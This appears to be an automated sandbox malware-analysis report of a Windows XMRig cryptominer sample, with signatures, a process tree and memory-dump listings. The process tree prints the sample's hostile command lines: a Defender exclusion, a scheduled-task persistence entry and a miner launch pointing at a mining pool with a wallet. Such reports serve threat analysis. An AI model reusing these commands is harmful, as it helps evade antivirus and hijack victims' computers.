Analysis
- max time kernel
71s - max time network
153s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
08/11/2022, 18:25
General
- Target file.exe
- Size 1.2MB
- Sample221108-w2lnaabef2
- SHA256 b302f4f0f0f5f3f86497f005e73154e14afbccc13e1ebdfde664ab258a55cbbc
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 7 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 36 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp8335.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\WindowsMail\AVPTQBAEW.exe"C:\ProgramData\WindowsMail\AVPTQBAEW.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
AVPTQBAEW.exe
AVPTQBAEW.exe
tmp8335.tmp.bat
590aee7bdd69b59b.customDestinations-ms
AVPTQBAEW.exe
memory/940-97-0x0000000002AC4000-0x0000000002AC7000-memory.dmp
memory/940-99-0x0000000002ACB000-0x0000000002AEA000-memory.dmp
memory/940-85-0x0000000002ACB000-0x0000000002AEA000-memory.dmp
memory/940-84-0x000000001B810000-0x000000001BB0F000-memory.dmp
memory/940-83-0x000007FEF4FF0000-0x000007FEF5B4D000-memory.dmp
memory/940-82-0x0000000002AC4000-0x0000000002AC7000-memory.dmp
memory/940-77-0x000007FEECE30000-0x000007FEED853000-memory.dmp
memory/940-74-0x000007FEFBD81000-0x000007FEFBD83000-memory.dmp
memory/1536-128-0x000007FEFA580000-0x000007FEFA59C000-memory.dmp
memory/1536-132-0x000007FEF98E0000-0x000007FEF9951000-memory.dmp
memory/1536-138-0x0000000002130000-0x0000000002171000-memory.dmp
memory/1536-137-0x00000000002E0000-0x000000000046A000-memory.dmp
memory/1536-136-0x000007FEFC7C0000-0x000007FEFC81B000-memory.dmp
memory/1536-135-0x000007FEFD230000-0x000007FEFD266000-memory.dmp
memory/1536-134-0x000007FEFAA50000-0x000007FEFAA77000-memory.dmp
memory/1536-133-0x000007FEFCF70000-0x000007FEFCF95000-memory.dmp
memory/1536-131-0x000007FEF9870000-0x000007FEF98D4000-memory.dmp
memory/1536-130-0x000007FEFD790000-0x000007FEFD7DD000-memory.dmp
memory/1536-129-0x000007FEF10D0000-0x000007FEF1132000-memory.dmp
memory/1536-127-0x000007FEFC9A0000-0x000007FEFC9B7000-memory.dmp
memory/1536-126-0x000007FEFCAF0000-0x000007FEFCB12000-memory.dmp
memory/1536-125-0x000007FEFEF20000-0x000007FEFEF3F000-memory.dmp
memory/1536-121-0x000007FEFF2B0000-0x000007FEFF387000-memory.dmp
memory/1536-119-0x000007FEFB7B0000-0x000007FEFB9C5000-memory.dmp
memory/1536-110-0x000007FEFAE30000-0x000007FEFAF5C000-memory.dmp
memory/1536-109-0x00000000002E0000-0x000000000046A000-memory.dmp
memory/1536-108-0x000007FEFB9D0000-0x000007FEFBA26000-memory.dmp
memory/1536-91-0x000007FEFB0B0000-0x000007FEFB11F000-memory.dmp
memory/1536-92-0x000007FEFAF60000-0x000007FEFAFFC000-memory.dmp
memory/1536-93-0x000007FEFD720000-0x000007FEFD787000-memory.dmp
memory/1536-94-0x0000000077260000-0x000000007735A000-memory.dmp
memory/1536-95-0x000007FEFF100000-0x000007FEFF19F000-memory.dmp
memory/1536-96-0x0000000077140000-0x000000007725F000-memory.dmp
memory/1536-100-0x000007FEFDDE0000-0x000007FEFDE51000-memory.dmp
memory/1536-107-0x000007FEFD990000-0x000007FEFDB93000-memory.dmp
memory/1536-102-0x000007FEFF1D0000-0x000007FEFF2AB000-memory.dmp
memory/1536-98-0x000007FEFD490000-0x000007FEFD4FC000-memory.dmp
memory/1536-103-0x000007FEF3560000-0x000007FEF3F4C000-memory.dmp
memory/1536-106-0x0000000002130000-0x0000000002171000-memory.dmp
memory/1536-104-0x00000000002E0000-0x000000000046A000-memory.dmp
memory/1536-105-0x000007FEFD860000-0x000007FEFD98D000-memory.dmp
memory/1784-124-0x00000000028BB000-0x00000000028DA000-memory.dmp
memory/1784-123-0x00000000028BB000-0x00000000028DA000-memory.dmp
memory/1784-122-0x00000000028B4000-0x00000000028B7000-memory.dmp
memory/1784-120-0x000000001B850000-0x000000001BB4F000-memory.dmp
memory/1784-118-0x000007FEEB6E0000-0x000007FEEC23D000-memory.dmp
memory/1784-116-0x000007FEEC240000-0x000007FEECC63000-memory.dmp
memory/1960-55-0x000007FEFB0B0000-0x000007FEFB11F000-memory.dmp
memory/1960-76-0x000007FEFEF20000-0x000007FEFEF3F000-memory.dmp
memory/1960-63-0x000007FEFD490000-0x000007FEFD4FC000-memory.dmp
memory/1960-57-0x000007FEFD720000-0x000007FEFD787000-memory.dmp
memory/1960-64-0x000007FEFDDE0000-0x000007FEFDE51000-memory.dmp
memory/1960-62-0x0000000077140000-0x000000007725F000-memory.dmp
memory/1960-61-0x000007FEFF100000-0x000007FEFF19F000-memory.dmp
memory/1960-58-0x0000000077260000-0x000000007735A000-memory.dmp
memory/1960-65-0x000007FEFAE60000-0x000007FEFAF57000-memory.dmp
memory/1960-66-0x000007FEFF1D0000-0x000007FEFF2AB000-memory.dmp
memory/1960-67-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp
memory/1960-59-0x0000000000E00000-0x0000000000F8A000-memory.dmp
memory/1960-60-0x00000000000F0000-0x0000000000131000-memory.dmp
memory/1960-81-0x00000000000F0000-0x0000000000131000-memory.dmp
memory/1960-80-0x0000000000E00000-0x0000000000F8A000-memory.dmp
memory/1960-71-0x0000000000E00000-0x0000000000F8A000-memory.dmp
memory/1960-68-0x000007FEFD860000-0x000007FEFD98D000-memory.dmp
memory/1960-56-0x000007FEFAF60000-0x000007FEFAFFC000-memory.dmp
memory/1960-72-0x000007FEF6980000-0x000007FEF6AAC000-memory.dmp
memory/1960-69-0x000007FEFD990000-0x000007FEFDB93000-memory.dmp
memory/1960-70-0x000007FEFB9D0000-0x000007FEFBA26000-memory.dmp
memory/1992-148-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-140-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-142-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-144-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-146-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-139-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-149-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-164-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1992-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1992-166-0x0000000000000000-0x0000000001000000-memory.dmp